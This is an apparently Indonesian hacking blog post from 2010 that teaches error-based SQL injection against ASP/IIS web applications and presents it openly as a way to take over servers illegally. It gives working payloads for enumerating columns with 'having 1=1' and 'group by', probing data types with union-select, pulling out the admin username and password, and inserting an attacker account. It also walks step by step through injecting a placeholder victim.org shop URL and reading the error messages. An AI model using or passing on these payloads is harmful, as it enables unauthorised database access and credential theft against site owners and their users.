Wednesday, December 1, 2010

Sisi lain eksploitasi ASP injection part 1


Kebanyakan orang akan berpikir dua kali untuk melakukan injection pada *.asp.
Sebuah teknik yang sudah sangat lama sekali, yang digunakan untuk mendapatkan hak akses penuh dari sebuah server secara ilegal. Tetapi lagi-lagi dengan berbagai alasan karena “kemalasan”, teknik yang seharus nya “mudah” kini malah dianggap menjadi “sulit” oleh kebanyakan orang.
.hmmm….
Sungguh sangat di sayang kan bukan. Padahal teknik asp injection memiliki beberapa model.
Nah… di sini saya akan membahas model injection, selain model yang selalu di bahas di kebanyakan forum-forum underground.
Ok, let ‘s begin….

SQL injection terjadi ketika attacker menyisipkan beberapa SQL statement ke query dengan cara memanipulasi data input ke applikasi tersebut.

Untuk menginject, attacker harus tahu struktur tabelnya agar dapat meng-inject SQL dengan tepat.
Untung ASP dan IIS berbaik hati. System tersebut menyediakan info yang sangat menolong.
Teknik ini di kenal dengan “debugging web application from its error code”.
SQL injection untuk men debug nya di gunakan having 1=1
Contoh :
Login: ‘ having 1=1--


SQL nya:
Select * from users where username = “ having 1=1--


Error yang muncul:
Kode:
[Microsoft] [ODBC SQL Server Driver] [ SQL Server] column ‘users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/proces_login.asp, line 15



Maksud dari query di atas adalah, kalau ada select dan having maka semua kolom harus di-group, karena record=record tidak mungkin sama. SQL bingung dengan query nya. Nah dari situ kita bisa tahu kalau di tabel ‘users’ ada kolom ‘id’

Lalu bagaimana cara melihat kolom selanjutnya ?
Lakukan dengan cara yang sama seperti di atas [login: ‘ having 1=1--], akan tetapi kolom yang muncul juga kita ikut sertakan
Contoh :
Login: ‘ group by users.id having 1=1--




Kode:
[Microsoft] [ODBC SQL Server Driver] [ SQL Server] column ‘users.username’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/proces_login.asp, line 15


Nah, itu tandanya ada kolom username yang belum di group-by kan. Kita tahu ternyata setelah kolom ‘id’ ada kolom ‘username’. Begitu seterusnya.

Tetapi setiap kolom berbeda-beda tipe data nya, ada yang interger, varchar dan yang lain nya. Bagaimana kita bisa mengetahui nya ?!

Berhubung IIS+ASP memberi tahu kita kalau ada error, kita buat aja SQL nya.
Caranya
Login: ‘union select sum(username) from user--
SQL nya:
Select*from users where username = “‘ union select sum(username) from users--
Fungsi dari union ini adalah dapat mem-break select list dan menjadikan ‘child’ select list.
Jadi seperti begini:
[ada select] UNION [select]. Yah namanya juga UNION (gabungan), Cuma berhubung select sum(username) akan menghasilkan error, sedangkan sum() hanya untuk interger, money, dan seterusnya selain varchar, char atau string.

Lagi-lagi IIS+ASP memberikan error:
Kode:
The sum or average aggregate operation cannot take a varchar data type as an argument


Sekarang bagaimana carannya agar kita tahu isi datanya ?!
Kita bisa menggunakan banyak cara dan teknik.
Salah satu contohnya:
Kode:
Login: ‘ union select min(username),1,1,1 from users where username > ‘a’--


Error yang muncul:
Kode:
Syntax error converting the varchar value ‘admin’ to a column of data type init


Berarti username nya adalah ‘admin’
Kalau mau di-interate (looping), lakukan seperti itu teru menerus.

Kode:
‘ union select min(username),1,1,1 from users where username > ‘admin’


Lalu bagaimana caranya agar kita tahu password ?!

Kode:
‘ union select password,1,1,1 from users where username=’admin’--


Atau kalo mau, kita bisa menyisipkan user sendiri.

Kode:
‘ insert into users values (0,’shamus’, ‘keren’, 1)--



Wuihhhhhh…….
Banyak banget bro penjelasannya, sampai berbusa-busa lagi..
Wakakkaka….
Mungkin sebagian besar dari anda pasti akan mengatakan itu.
Dan anehnya, saya bisa yakin 97% dari anda yang membaca ini pasti belum paham sama sekali..
Wakakka..
Ga pa2 pak..
Kalo gitu kita langsung praktek aja..
Biar tambah…
[tambah bingung maksudnya.. :P]
Ok.

Mulai:
Kode:
http://victim.org/shopping/shopdisplayproducts.asp?id=1


inilah korban kita untuk praktek ilegal.. :P
seperti yang telah saya jelaskan di atas, kita cari table nya.
Katakanlah kita mendapatkan tabel catalogid, sekarang kita cari kolom yang ada di dalam catalogid.

Kode:
http://victim.org/shopping/shopdisplayproducts.asp?id=1%20group%20by%20catalogid%20having%201=1



Maka akan muncul error :
Kode:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘products.ccode’ is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916



Itu tandanya ada kolom ccode yang belum di Group by. Jadi kita b isa tahu ternyata ada kolom ccode.
Kita masukan lagi link tersebut sehingga menjadi seperti:

Kode:
http://victim.org/shopping/shopdisplayproducts.asp?id=1%20group%20by%20catalogid,cccode%20having%201=1


Maka akan muncul error:
Kode:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘products.cname’ is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


Ternyata database memberi tahu kita bahwa ada kolom cname setelah kolom ccode.
Kemudian kita masukan lagi menjadi:

Kode:
http://victim.org/shopping/shopdisplayproducts.asp?id=1%20group%20by%20catalogid,cccode,cname%20having%201=1


Maka error yang akan muncul adalah:
Kode:
Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘products.cdescription’ is invalid in the select list because it is not contained in either an agregate function or the GROUP BY clause

/shopping/shop$db.asp, line 916


Ternyata setelah kolom cname, masih ada kolom cdescription.
Begitu seterusnya, Lakukan itu samapai habis

Kode:
http://victim.org/shopping/shopdisplayproducts.asp?id=1%20group%20by%20catalogid,cccode,cname,cprice,ccategory,cdescurl,Features,cimageurl,cstock,weight,mfg,pother1,pother2,pother3,subcategoryid,retailprice,specialoffer,category,buttonimage,cdateavailable,allowusertext,pother4,pother5,userid,keywords,template,extendedimage,extendeddesc,selectlist,level3,level4,level5,minimumquantity,supplierid,crossSelling,hide,QbAccount,Taxtable%20having%201=1

No comments:

Template by : mhiman@ hacker-newbie.org